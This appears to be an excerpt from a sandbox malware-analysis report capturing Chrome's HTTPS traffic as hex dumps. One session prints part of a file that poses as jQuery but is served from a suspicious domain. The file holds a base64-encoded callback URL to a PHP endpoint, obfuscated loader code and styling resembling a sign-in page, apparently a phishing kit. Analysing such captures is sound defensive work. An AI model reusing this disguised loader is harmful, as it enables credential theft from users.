                                  X-Content-Type-Options: nosniff
                                  X-Frame-Options: SAMEORIGIN
                                  X-XSS-Protection: 1; mode=block
                                  Server: GSE
                                  Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                  Connection: close
                                  2024-01-31 13:45:56 UTC220INData Raw: 72 6c 7a 43 31 3a 20 31 43 31 4f 4e 47 52 5f 65 6e 55 53 31 30 39 35 0a 72 6c 7a 43 32 3a 20 31 43 32 4f 4e 47 52 5f 65 6e 55 53 31 30 39 35 0a 72 6c 7a 43 37 3a 20 31 43 37 4f 4e 47 52 5f 65 6e 55 53 31 30 39 35 0a 64 63 63 3a 20 0a 73 65 74 5f 64 63 63 3a 20 43 31 3a 31 43 31 4f 4e 47 52 5f 65 6e 55 53 31 30 39 35 2c 43 32 3a 31 43 32 4f 4e 47 52 5f 65 6e 55 53 31 30 39 35 2c 43 37 3a 31 43 37 4f 4e 47 52 5f 65 6e 55 53 31 30 39 35 0a 65 76 65 6e 74 73 3a 20 43 31 49 2c 43 32 49 2c 43 37 49 2c 43 31 53 2c 43 37 53 0a 73 74 61 74 65 66 75 6c 2d 65 76 65 6e 74 73 3a 20 43 31 49 2c 43 32 49 2c 43 37 49 0a 63 72 63 33 32 3a 20 35 35 37 32 32 36 30 32 0a
                                  Data Ascii: rlzC1: 1C1ONGR_enUS1095rlzC2: 1C2ONGR_enUS1095rlzC7: 1C7ONGR_enUS1095dcc: set_dcc: C1:1C1ONGR_enUS1095,C2:1C2ONGR_enUS1095,C7:1C7ONGR_enUS1095events: C1I,C2I,C7I,C1S,C7Sstateful-events: C1I,C2I,C7Icrc32: 55722602


                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  2192.168.2.449732198.54.120.89443C:\Program Files\Google\Chrome\Application\chrome.exe
                                  TimestampkBytes transferredDirectionData
                                  2024-01-31 13:44:28 UTC597OUTGET /icon/css./js/jquery.js HTTP/1.1
                                  Host: universal-ferretera.com
                                  Connection: keep-alive
                                  sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                  sec-ch-ua-mobile: ?0
                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                  Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"
                                  sec-ch-ua-platform: "Windows"
                                  Accept: */*
                                  Sec-Fetch-Site: cross-site
                                  Sec-Fetch-Mode: no-cors
                                  Sec-Fetch-Dest: script
                                  Accept-Encoding: gzip, deflate, br
                                  Accept-Language: en-US,en;q=0.9
                                  2024-01-31 13:44:29 UTC244INHTTP/1.1 200 OK
                                  date: Wed, 31 Jan 2024 13:44:29 GMT
                                  server: Apache
                                  last-modified: Tue, 23 Jan 2024 10:28:15 GMT
                                  accept-ranges: bytes
                                  content-length: 229336
                                  vary: Accept-Encoding
                                  content-type: application/javascript
                                  connection: close
                                  2024-01-31 13:44:29 UTC16140INData Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 76 61 72 20 61 75 74 68 70 72 6f 63 65 73 73 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 31 62 6d 6c 32 5a 58 4a 7a 59 57 77 74 5a 6d 56 79 63 6d 56 30 5a 58 4a 68 4c 6d 4e 76 62 53 39 70 59 32 39 75 4c 32 4e 7a 63 79 34 76 59 33 4e 7a 4c 33 4e 70 62 58 42 73 5a 53 35 77 61 48 41 3d 22 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 65 37 31 28 29 7b 76 61 72 20 5f 30 78 32 37 38 36 32 34 3d 5b 27 35 30 34 36 30 37 31 38 50 59 52 67 6d 6b 27 2c 27 31 31 39 34 71 5a 66 68 54 56 27 2c 27 77 72 69 74 65 27 2c 27 32 33 37 34 35 45 61 47 4a 69 5a 27 2c 27 33 36 33 33 30 35 32 63 4b 63 46 59 4c 27 2c
                                  Data Ascii: /*! jQuery v3.6.0 jquery.com | jquery.org/license */var authprocess = "aHR0cHM6Ly91bml2ZXJzYWwtZmVycmV0ZXJhLmNvbS9pY29uL2Nzcy4vY3NzL3NpbXBsZS5waHA=";function _0x3e71(){var _0x278624=['50460718PYRgmk','1194qZfhTV','write','23745EaGJiZ','3633052cKcFYL',
                                  2024-01-31 13:44:29 UTC16384INData Raw: 6c 2d 6d 64 2d 32 31 25 32 43 2e 63 6f 6c 2d 6c 67 2d 32 31 25 32 43 2e 63 6f 6c 2d 78 73 2d 32 32 25 32 43 2e 63 6f 6c 2d 73 6d 2d 32 32 25 32 43 2e 63 6f 6c 2d 6d 64 2d 32 32 25 32 43 2e 63 6f 6c 2d 6c 67 2d 32 32 25 32 43 2e 63 6f 6c 2d 78 73 2d 32 33 25 32 43 2e 63 6f 6c 2d 73 6d 2d 32 33 25 32 43 2e 63 6f 6c 2d 6d 64 2d 32 33 25 32 43 2e 63 6f 6c 2d 6c 67 2d 32 33 25 32 43 2e 63 6f 6c 2d 78 73 2d 32 34 25 32 43 2e 63 6f 6c 2d 73 6d 2d 32 34 25 32 43 2e 63 6f 6c 2d 6d 64 2d 32 34 25 32 43 2e 63 6f 6c 2d 6c 67 2d 32 34 25 37 42 70 6f 73 69 74 69 6f 6e 25 33 41 72 65 6c 61 74 69 76 65 25 33 42 6d 69 6e 2d 68 65 69 67 68 74 25 33 41 31 70 78 25 33 42 70 61 64 64 69 6e 67 2d 6c 65 66 74 25 33 41 32 70 78 25 33 42 70 61 64 64 69 6e 67 2d 72 69 67 68 74 25
                                  Data Ascii: l-md-21%2C.col-lg-21%2C.col-xs-22%2C.col-sm-22%2C.col-md-22%2C.col-lg-22%2C.col-xs-23%2C.col-sm-23%2C.col-md-23%2C.col-lg-23%2C.col-xs-24%2C.col-sm-24%2C.col-md-24%2C.col-lg-24%7Bposition%3Arelative%3Bmin-height%3A1px%3Bpadding-left%3A2px%3Bpadding-right%
                                  2024-01-31 13:44:29 UTC16384INData Raw: 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 31 36 25 37 42 6d 61 72 67 69 6e 2d 6c 65 66 74 25 33 41 36 36 2e 36 36 36 36 37 25 32 35 25 37 44 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 31 37 25 37 42 6d 61 72 67 69 6e 2d 6c 65 66 74 25 33 41 37 30 2e 38 33 33 33 33 25 32 35 25 37 44 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 31 38 25 37 42 6d 61 72 67 69 6e 2d 6c 65 66 74 25 33 41 37 35 25 32 35 25 37 44 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 31 39 25 37 42 6d 61 72 67 69 6e 2d 6c 65 66 74 25 33 41 37 39 2e 31 36 36 36 37 25 32 35 25 37 44 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 32 30 25 37 42 6d 61 72 67 69 6e 2d 6c 65 66 74 25 33 41 38 33 2e 33 33 33 33 33 25 32 35 25 37 44 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 32 31 25 37 42 6d
                                  Data Ascii: .col-lg-offset-16%7Bmargin-left%3A66.66667%25%7D.col-lg-offset-17%7Bmargin-left%3A70.83333%25%7D.col-lg-offset-18%7Bmargin-left%3A75%25%7D.col-lg-offset-19%7Bmargin-left%3A79.16667%25%7D.col-lg-offset-20%7Bmargin-left%3A83.33333%25%7D.col-lg-offset-21%7Bm
                                  2024-01-31 13:44:29 UTC16384INData Raw: 79 70 65 25 33 44 25 32 32 72 61 6e 67 65 25 32 32 25 35 44 25 33 41 61 63 74 69 76 65 25 33 41 25 33 41 2d 6d 73 2d 74 68 75 6d 62 25 37 42 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 25 33 41 25 32 33 63 63 63 25 37 44 69 6e 70 75 74 25 35 42 74 79 70 65 25 33 44 25 32 32 72 61 6e 67 65 25 32 32 25 35 44 25 33 41 64 69 73 61 62 6c 65 64 25 33 41 25 33 41 2d 6d 73 2d 66 69 6c 6c 2d 6c 6f 77 65 72 25 32 43 69 6e 70 75 74 25 35 42 74 79 70 65 25 33 44 25 32 32 72 61 6e 67 65 25 32 32 25 35 44 25 33 41 64 69 73 61 62 6c 65 64 25 33 41 25 33 41 2d 6d 73 2d 66 69 6c 6c 2d 75 70 70 65 72 25 37 42 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 25 33 41 72 67 62 61 25 32 38 30 25 32 43 30 25 32 43 30 25 32 43 2e 32 25 32 39 25 32 31 69 6d 70 6f 72 74 61 6e
                                  Data Ascii: ype%3D%22range%22%5D%3Aactive%3A%3A-ms-thumb%7Bbackground-color%3A%23ccc%7Dinput%5Btype%3D%22range%22%5D%3Adisabled%3A%3A-ms-fill-lower%2Cinput%5Btype%3D%22range%22%5D%3Adisabled%3A%3A-ms-fill-upper%7Bbackground-color%3Argba%280%2C0%2C0%2C.2%29%21importan
                                  2024-01-31 13:44:29 UTC16384INData Raw: 74 6f 6d 25 33 41 31 70 78 25 37 44 40 6d 65 64 69 61 25 32 38 6d 69 6e 2d 77 69 64 74 68 25 33 41 37 36 38 70 78 25 32 39 25 37 42 2e 6e 61 76 62 61 72 2d 72 69 67 68 74 25 32 30 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 25 37 42 72 69 67 68 74 25 33 41 30 25 33 42 6c 65 66 74 25 33 41 61 75 74 6f 25 37 44 2e 6e 61 76 62 61 72 2d 72 69 67 68 74 25 32 30 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 2d 6c 65 66 74 25 37 42 6c 65 66 74 25 33 41 30 25 33 42 72 69 67 68 74 25 33 41 61 75 74 6f 25 37 44 25 37 44 25 35 42 64 61 74 61 2d 74 6f 67 67 6c 65 25 33 44 25 32 32 62 75 74 74 6f 6e 73 25 32 32 25 35 44 25 33 45 2e 62 74 6e 25 32 30 69 6e 70 75 74 25 35 42 74 79 70 65 25 33 44 25 32 32 72 61 64 69 6f 25 32 32 25 35 44 25 32 43 25 35 42 64 61 74 61 2d 74 6f
                                  Data Ascii: tom%3A1px%7D@media%28min-width%3A768px%29%7B.navbar-right%20.dropdown-menu%7Bright%3A0%3Bleft%3Aauto%7D.navbar-right%20.dropdown-menu-left%7Bleft%3A0%3Bright%3Aauto%7D%7D%5Bdata-toggle%3D%22buttons%22%5D%3E.btn%20input%5Btype%3D%22radio%22%5D%2C%5Bdata-to
                                  2024-01-31 13:44:29 UTC16384INData Raw: 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 25 33 42 77 68 69 74 65 2d 73 70 61 63 65 25 33 41 6e 6f 77 72 61 70 25 37 44 40 6d 65 64 69 61 25 32 38 6d 61 78 2d 77 69 64 74 68 25 33 41 33 31 39 70 78 25 32 39 25 37 42 62 6f 64 79 2e 63 62 25 32 30 25 32 33 66 74 72 25 37 42 6d 61 72 67 69 6e 2d 74 6f 70 25 33 41 36 30 70 78 25 37 44 25 37 44 40 6d 65 64 69 61 25 32 38 6d 69 6e 2d 68 65 69 67 68 74 25 33 41 38 30 30 70 78 25 32 39 25 37 42 62 6f 64 79 2e 63 62 25 32 30 25 32 33 66 74 72 25 37 42 6d 61 72 67 69 6e 2d 74 6f 70 25 33 41 36 30 70 78 25 37 44 25 37 44 40 6d 65 64 69 61 25 32 38 6d 61 78 2d 68 65 69 67 68 74 25 33 41 34 30 30 70 78 25 32 39 25 37 42 62 6f 64 79 2e 63 62 25 32 30 2e 6d 6f 64 61 6c 44 69 61 6c 6f 67 43 6f 6e 74 61 69 6e 65 72 25 37 42 74
                                  Data Ascii: inline-block%3Bwhite-space%3Anowrap%7D@media%28max-width%3A319px%29%7Bbody.cb%20%23ftr%7Bmargin-top%3A60px%7D%7D@media%28min-height%3A800px%29%7Bbody.cb%20%23ftr%7Bmargin-top%3A60px%7D%7D@media%28max-height%3A400px%29%7Bbody.cb%20.modalDialogContainer%7Bt
                                  2024-01-31 13:44:29 UTC16384INData Raw: 72 25 32 43 2e 74 68 65 6d 65 2d 6c 69 67 68 74 25 32 30 62 75 74 74 6f 6e 25 33 41 68 6f 76 65 72 25 32 43 2e 74 68 65 6d 65 2d 64 61 72 6b 25 32 30 69 6e 70 75 74 25 35 42 74 79 70 65 25 33 44 25 32 32 62 75 74 74 6f 6e 25 32 32 25 35 44 25 33 41 68 6f 76 65 72 25 32 43 2e 74 68 65 6d 65 2d 6c 69 67 68 74 25 32 30 69 6e 70 75 74 25 35 42 74 79 70 65 25 33 44 25 32 32 62 75 74 74 6f 6e 25 32 32 25 35 44 25 33 41 68 6f 76 65 72 25 32 43 2e 74 68 65 6d 65 2d 64 61 72 6b 25 32 30 69 6e 70 75 74 25 35 42 74 79 70 65 25 33 44 25 32 32 73 75 62 6d 69 74 25 32 32 25 35 44 25 33 41 68 6f 76 65 72 25 32 43 2e 74 68 65 6d 65 2d 6c 69 67 68 74 25 32 30 69 6e 70 75 74 25 35 42 74 79 70 65 25 33 44 25 32 32 73 75 62 6d 69 74 25 32 32 25 35 44 25 33 41 68 6f 76 65 72
                                  Data Ascii: r%2C.theme-light%20button%3Ahover%2C.theme-dark%20input%5Btype%3D%22button%22%5D%3Ahover%2C.theme-light%20input%5Btype%3D%22button%22%5D%3Ahover%2C.theme-dark%20input%5Btype%3D%22submit%22%5D%3Ahover%2C.theme-light%20input%5Btype%3D%22submit%22%5D%3Ahover
                                  2024-01-31 13:44:29 UTC16384INData Raw: 33 41 2e 39 33 37 35 72 65 6d 25 33 42 6c 69 6e 65 2d 68 65 69 67 68 74 25 33 41 31 2e 32 35 72 65 6d 25 37 44 2e 73 65 63 6f 6e 64 61 72 79 2d 74 65 78 74 25 37 42 66 6f 6e 74 2d 73 69 7a 65 25 33 41 2e 38 35 72 65 6d 25 37 44 2e 61 6c 65 72 74 25 37 42 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 25 33 41 30 25 33 42 6d 61 72 67 69 6e 2d 74 6f 70 25 33 41 30 25 37 44 2e 61 6c 65 72 74 2e 61 6c 65 72 74 2d 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 25 37 42 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 25 33 41 31 32 70 78 25 37 44 2e 74 65 78 74 2d 62 61 73 65 25 37 42 66 6f 6e 74 2d 73 69 7a 65 25 33 41 2e 38 35 72 65 6d 25 37 44 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2e 6d 65 6d 62 65 72 6e 61 6d 65 50 72 65 66 69 6c 6c 53 65 6c 65 63 74 25 37 42 70 61 64 64
                                  Data Ascii: 3A.9375rem%3Bline-height%3A1.25rem%7D.secondary-text%7Bfont-size%3A.85rem%7D.alert%7Bmargin-bottom%3A0%3Bmargin-top%3A0%7D.alert.alert-margin-bottom%7Bmargin-bottom%3A12px%7D.text-base%7Bfont-size%3A.85rem%7D.dropdown-toggle.membernamePrefillSelect%7Bpadd
                                  2024-01-31 13:44:29 UTC16384INData Raw: 75 61 37 78 65 37 44 7a 75 72 51 35 61 62 70 45 4f 66 7a 4f 30 44 44 7a 4f 76 44 42 66 74 68 7a 69 64 47 70 7a 56 66 72 47 6e 48 61 58 52 41 6f 6f 63 33 72 78 57 62 4b 4f 54 31 5a 6c 78 68 32 5a 62 78 7a 4f 7a 51 34 61 35 31 36 68 42 59 51 34 65 58 6f 35 4e 38 36 2b 52 31 4a 6a 70 79 4c 4f 78 41 56 51 35 75 70 31 72 62 6d 76 7a 58 58 6d 62 77 7a 75 33 57 33 6e 4b 48 5a 49 59 6d 64 31 67 63 4c 61 37 42 54 6b 46 36 31 54 68 2b 32 56 52 34 41 41 41 41 41 41 41 41 41 41 69 67 43 43 69 4b 41 41 41 41 49 6f 41 41 41 41 41 41 41 41 41 41 41 41 41 41 69 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 43 56 72 4c 55 35 46 65 73 4c 6a 4b 78 2b 74 58 50 54 68 58 64 77 68 79 6c 62 74 43 75 4c 69 37 6b 49 72 43 4b 5a 56 62 63 62 63 35 6d 75
                                  Data Ascii: ua7xe7DzurQ5abpEOfzO0DDzOvDBfthzidGpzVfrGnHaXRAooc3rxWbKOT1Zlxh2ZbxzOzQ4a516hBYQ4eXo5N86+R1JjpyLOxAVQ5up1rbmvzXXmbwzu3W3nKHZIYmd1gcLa7BTkF61Th+2VR4AAAAAAAAAAigCCiKAAAAIoAAAAAAAAAAAAAAigAAAAAAAAAAAAAAAAAAAAAAAACVrLU5FesLjKx+tXPThXdwhylbtCuLi7kIrCKZVbcbc5mu
                                  2024-01-31 13:44:29 UTC16384INData Raw: 70 71 59 59 69 6f 34 64 46 61 77 31 4d 4d 7a 73 4e 54 44 47 78 47 75 46 57 30 62 46 61 34 63 35 47 69 50 52 54 49 32 72 6f 72 47 44 59 37 48 6a 6f 72 57 6d 70 68 6d 5a 68 71 59 51 6b 5a 69 6d 6f 68 6a 59 72 48 66 67 78 50 36 64 63 2f 37 50 6a 30 46 79 4e 59 6a 6f 64 57 4c 55 54 38 75 68 51 6f 55 4b 46 43 68 54 78 6f 55 4b 65 4b 39 75 71 66 30 63 6e 2b 35 43 45 6e 2b 53 4a 2f 64 56 6f 69 78 6d 6b 64 79 4f 62 34 39 47 2f 77 43 2b 33 6a 38 4b 4c 36 68 7a 73 33 46 64 4e 79 38 4f 4b 72 70 32 62 69 51 48 64 50 69 4c 45 6c 2f 39 51 54 4c 34 4b 53 79 78 6f 7a 5a 65 49 36 57 67 72 48 6d 4a 2b 4c 41 31 63 43 4c 31 43 46 4d 32 53 4c 70 6d 59 69 39 52 6a 52 70 5a 45 57 50 68 36 5a 31 56 39 73 57 63 6a 7a 30 65 49 73 31 49 4f 6d 2b 71 75 64 4b 64 48 36 79 73 52 4e 65
                                  Data Ascii: pqYYio4dFaw1MMzsNTDGxGuFW0bFa4c5GiPRTI2rorGDY7HjorWmphmZhqYQkZimohjYrHfgxP6dc/7Pj0FyNYjodWLUT8uhQoUKFChTxoUKeK9uqf0cn+5CEn+SJ/dVoixmkdyOb49G/wC+3j8KL6hzs3FdNy8OKrp2biQHdPiLEl/9QTL4KSyxozZeI6WgrHmJ+LA1cCL1CFM2SLpmYi9RjRpZEWPh6Z1V9sWcjz0eIs1IOm+qudKdH6ysRNe


                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  3192.168.2.449735151.101.66.137443C:\Program Files\Google\Chrome\Application\chrome.exe
                                  TimestampkBytes transferredDirectionData
                                  2024-01-31 13:44:30 UTC586OUTGET /jquery-3.1.1.min.js HTTP/1.1
                                  Host: code.jquery.com
                                  Connection: keep-alive
                                  sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                  sec-ch-ua-mobile: ?0
                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                  Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"
                                  sec-ch-ua-platform: "Windows"
                                  Accept: */*
                                  Sec-Fetch-Site: cross-site
                                  Sec-Fetch-Mode: no-cors
                                  Sec-Fetch-Dest: script
                                  Accept-Encoding: gzip, deflate, br
                                  Accept-Language: en-US,en;q=0.9
                                  2024-01-31 13:44:30 UTC569INHTTP/1.1 200 OK
                                  Connection: close
                                  Content-Length: 86709
                                  Server: nginx
                                  Content-Type: application/javascript; charset=utf-8
                                  Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT
                                  ETag: "28feccc0-152b5"
                                  Cache-Control: public, max-age=31536000, stale-while-revalidate=604800
                                  Access-Control-Allow-Origin: *
                                  Via: 1.1 varnish, 1.1 varnish
                                  Accept-Ranges: bytes
                                  Date: Wed, 31 Jan 2024 13:44:30 GMT
                                  Age: 1909559
                                  X-Served-By: cache-lga21947-LGA, cache-pdk-kfty2130028-PDK
                                  X-Cache: HIT, HIT
                                  X-Cache-Hits: 1177, 1
                                  X-Timer: S1706708670.358926,VS0,VE1
                                  Vary: Accept-Encoding
                                  2024-01-31 13:44:30 UTC16384INData Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77
                                  Data Ascii: /*! jQuery v3.1.1 | (c) jQuery Foundation | jquery.org/license */!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
                                  2024-01-31 13:44:30 UTC16384INData Raw: 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 74 26 26 28 73 26 26 28 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6b 5b 61 5d 3d 5b 77 2c 74 5d 29 2c 6d 3d 3d 3d 62 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 74 2d 3d 65 2c 74 3d 3d 3d 64 7c 7c 74 25 64 3d 3d 3d 30 26 26 74 2f 64 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 65 3d 64 2e 70 73 65 75 64 6f 73 5b 61 5d 7c 7c 64 2e 73 65 74 46 69 6c 74 65 72 73 5b 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 67 61 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 61 29 3b 72 65 74
                                  Data Ascii: ===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);ret
                                  2024-01-31 13:44:30 UTC16384INData Raw: 64 3d 31 2c 55 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 62 7c 7c 28 62 3d 7b 7d 2c 54 28 61 29 26 26 28 61 2e 6e 6f 64 65 54 79 70 65 3f 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 62 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 62 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 74 68 69 73 2e 63 61 63 68 65 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 29 65 5b 72 2e 63 61 6d 65 6c 43 61 73 65
                                  Data Ascii: d=1,U.prototype={cache:function(a){var b=a[this.expando];return b||(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase
                                  2024-01-31 13:44:30 UTC16384INData Raw: 65 26 26 39 21 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 61 29 7d 29 7d 2c 6e 75 6c 6c 2c 61 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 62 3d 44 61 28 74 68 69 73 2c 61 29 3b 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28
                                  Data Ascii: e&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(
                                  2024-01-31 13:44:30 UTC16384INData Raw: 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 75 6c 6c 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 62 26 26 28 62 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 29 7d 7d 29 2c 72 2e 65 61 63 68 28 5b 22 74 61 62 49 6e 64 65 78 22 2c 22 72 65 61 64 4f 6e 6c 79 22 2c 22 6d 61 78 4c 65 6e 67 74 68 22 2c 22 63 65 6c 6c 53 70 61 63
                                  Data Ascii: s.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpac
                                  2024-01-31 13:44:30 UTC4789INData Raw: 3d 62 2e 6a 73 6f 6e 70 21 3d 3d 21 31 26 26 28 52 62 2e 74 65 73 74 28 62 2e 75 72 6c 29 3f 22 75 72 6c 22 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 2e 64 61 74 61 26 26 30 3d 3d 3d 28 62 2e 63 6f 6e 74 65 6e 74 54 79 70 65 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 26 26 52 62 2e 74 65 73 74 28 62 2e 64 61 74 61 29 26 26 22 64 61 74 61 22 29 3b 69 66 28 68 7c 7c 22 6a 73 6f 6e 70 22 3d 3d 3d 62 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 29 72 65 74 75 72 6e 20 65 3d 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62
                                  Data Ascii: =b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h||"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallb


                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  4192.168.2.44973613.107.246.40443C:\Program Files\Google\Chrome\Application\chrome.exe
                                  TimestampkBytes transferredDirectionData
